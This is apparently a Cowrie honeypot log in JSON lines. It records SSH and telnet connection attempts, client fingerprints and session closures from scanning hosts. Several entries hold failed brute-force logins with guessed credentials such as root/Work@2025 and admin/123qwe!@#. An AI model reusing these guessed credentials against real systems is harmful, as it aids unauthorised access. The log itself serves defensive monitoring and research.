{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":33318,"dst_ip":"159.203.135.109","dst_port":23,"session":"03dc66981291","protocol":"telnet","message":"New connection: 69.4.83.194:33318 (159.203.135.109:23) [session: 03dc66981291]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:41:24.519780Z"}
{"eventid":"cowrie.session.closed","duration":120.00964140892029,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:41:32.698205Z","src_ip":"190.82.206.126","session":"246ac0b6b05c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"190.82.206.126","src_port":49273,"dst_ip":"10.17.0.5","dst_port":23,"session":"5f9156bdcf1f","protocol":"telnet","message":"New connection: 190.82.206.126:49273 (10.17.0.5:23) [session: 5f9156bdcf1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:41:33.098451Z"}
{"eventid":"cowrie.session.connect","src_ip":"190.82.206.126","src_port":49318,"dst_ip":"10.17.0.5","dst_port":23,"session":"157101ba53b4","protocol":"telnet","message":"New connection: 190.82.206.126:49318 (10.17.0.5:23) [session: 157101ba53b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:41:35.251565Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.62.156.54","src_port":19643,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f954e64e5c3","protocol":"ssh","message":"New connection: 64.62.156.54:19643 (10.17.0.5:22) [session: 3f954e64e5c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:41:45.054633Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:41:45.064973Z","src_ip":"64.62.156.54","session":"3f954e64e5c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"7216c7c473918b4f83d1139b3c70dbf9","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-cbc,3des-cbc,arcfour;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-cbc","3des-cbc","arcfour"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 7216c7c473918b4f83d1139b3c70dbf9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:41:45.137503Z","src_ip":"64.62.156.54","session":"3f954e64e5c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:41:49.065379Z","src_ip":"64.62.156.54","session":"3f954e64e5c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":5120,"dst_ip":"10.17.0.5","dst_port":22,"session":"1c9043ed7464","protocol":"ssh","message":"New connection: 38.93.206.2:5120 (10.17.0.5:22) [session: 1c9043ed7464]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:41:56.244275Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:41:56.249256Z","src_ip":"38.93.206.2","session":"1c9043ed7464","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:41:56.300942Z","src_ip":"38.93.206.2","session":"1c9043ed7464","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"220689","message":"login attempt [root/220689] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:41:56.462790Z","src_ip":"38.93.206.2","session":"1c9043ed7464","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:41:57.520410Z","src_ip":"38.93.206.2","session":"1c9043ed7464","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.99417972564697,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:41:58.513863Z","src_ip":"69.4.83.194","session":"03dc66981291","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":52736,"dst_ip":"159.203.135.109","dst_port":22,"session":"10a2929c6e80","protocol":"ssh","message":"New connection: 62.133.62.83:52736 (159.203.135.109:22) [session: 10a2929c6e80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:42:01.052630Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:42:01.058135Z","src_ip":"62.133.62.83","session":"10a2929c6e80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:42:01.137519Z","src_ip":"62.133.62.83","session":"10a2929c6e80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"01041988","message":"login attempt [root/01041988] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:42:01.386762Z","src_ip":"62.133.62.83","session":"10a2929c6e80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:42:02.470063Z","src_ip":"62.133.62.83","session":"10a2929c6e80","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.52.90.106","src_port":35278,"dst_ip":"159.203.135.109","dst_port":22,"session":"5ed8a6d594ab","protocol":"ssh","message":"New connection: 182.52.90.106:35278 (159.203.135.109:22) [session: 5ed8a6d594ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:42:09.886606Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:42:09.891469Z","src_ip":"182.52.90.106","session":"5ed8a6d594ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:42:10.164909Z","src_ip":"182.52.90.106","session":"5ed8a6d594ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"Deploy123!","message":"login attempt [deploy/Deploy123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:42:11.273745Z","src_ip":"182.52.90.106","session":"5ed8a6d594ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00197386741638,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:42:11.875702Z","src_ip":"79.139.59.21","session":"525e9a4fa21e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:42:12.545542Z","src_ip":"182.52.90.106","session":"5ed8a6d594ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":53616,"dst_ip":"159.203.135.109","dst_port":23,"session":"39a0cbdfcf96","protocol":"telnet","message":"New connection: 69.4.83.194:53616 (159.203.135.109:23) [session: 39a0cbdfcf96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:42:13.755325Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.40.30.168","src_port":42218,"dst_ip":"159.203.135.109","dst_port":22,"session":"7f9c1aa705c1","protocol":"ssh","message":"New connection: 185.40.30.168:42218 (159.203.135.109:22) [session: 7f9c1aa705c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:42:25.851135Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:42:25.857100Z","src_ip":"185.40.30.168","session":"7f9c1aa705c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:42:25.985981Z","src_ip":"185.40.30.168","session":"7f9c1aa705c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"fjbdfdjkdsfs541544AA@@","message":"login attempt [ubuntu/fjbdfdjkdsfs541544AA@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:42:26.554102Z","src_ip":"185.40.30.168","session":"7f9c1aa705c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:42:27.684280Z","src_ip":"185.40.30.168","session":"7f9c1aa705c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.237.144.204","src_port":56716,"dst_ip":"159.203.135.109","dst_port":22,"session":"04ffd4d7065f","protocol":"ssh","message":"New connection: 103.237.144.204:56716 (159.203.135.109:22) [session: 04ffd4d7065f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:42:32.415357Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:42:32.424650Z","src_ip":"103.237.144.204","session":"04ffd4d7065f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:42:32.682504Z","src_ip":"103.237.144.204","session":"04ffd4d7065f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Work@2025","message":"login attempt [root/Work@2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:42:33.744063Z","src_ip":"103.237.144.204","session":"04ffd4d7065f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:42:35.005178Z","src_ip":"103.237.144.204","session":"04ffd4d7065f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.225.56.202","src_port":44824,"dst_ip":"159.203.135.109","dst_port":22,"session":"fce5e91df0ca","protocol":"ssh","message":"New connection: 35.225.56.202:44824 (159.203.135.109:22) [session: fce5e91df0ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:42:36.863745Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:42:36.868132Z","src_ip":"35.225.56.202","session":"fce5e91df0ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:42:36.905161Z","src_ip":"35.225.56.202","session":"fce5e91df0ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123qwe!@#","message":"login attempt [admin/123qwe!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:42:37.082541Z","src_ip":"35.225.56.202","session":"fce5e91df0ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:42:38.121972Z","src_ip":"35.225.56.202","session":"fce5e91df0ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.05728840827942,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:42:45.812493Z","src_ip":"69.4.83.194","session":"39a0cbdfcf96","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":50042,"dst_ip":"159.203.135.109","dst_port":23,"session":"ea3df423f94d","protocol":"telnet","message":"New connection: 69.4.83.194:50042 (159.203.135.109:23) [session: ea3df423f94d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:43:19.924644Z"}
{"eventid":"cowrie.session.closed","duration":120.01183319091797,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:43:33.110156Z","src_ip":"190.82.206.126","session":"5f9156bdcf1f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"190.82.206.126","src_port":56505,"dst_ip":"10.17.0.5","dst_port":23,"session":"c3578ed075a8","protocol":"telnet","message":"New connection: 190.82.206.126:56505 (10.17.0.5:23) [session: c3578ed075a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:43:33.578537Z"}
{"eventid":"cowrie.session.closed","duration":120.00311613082886,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:43:35.254539Z","src_ip":"190.82.206.126","session":"157101ba53b4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"190.82.206.126","src_port":56566,"dst_ip":"10.17.0.5","dst_port":23,"session":"94af84406aa0","protocol":"telnet","message":"New connection: 190.82.206.126:56566 (10.17.0.5:23) [session: 94af84406aa0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:43:36.547290Z"}
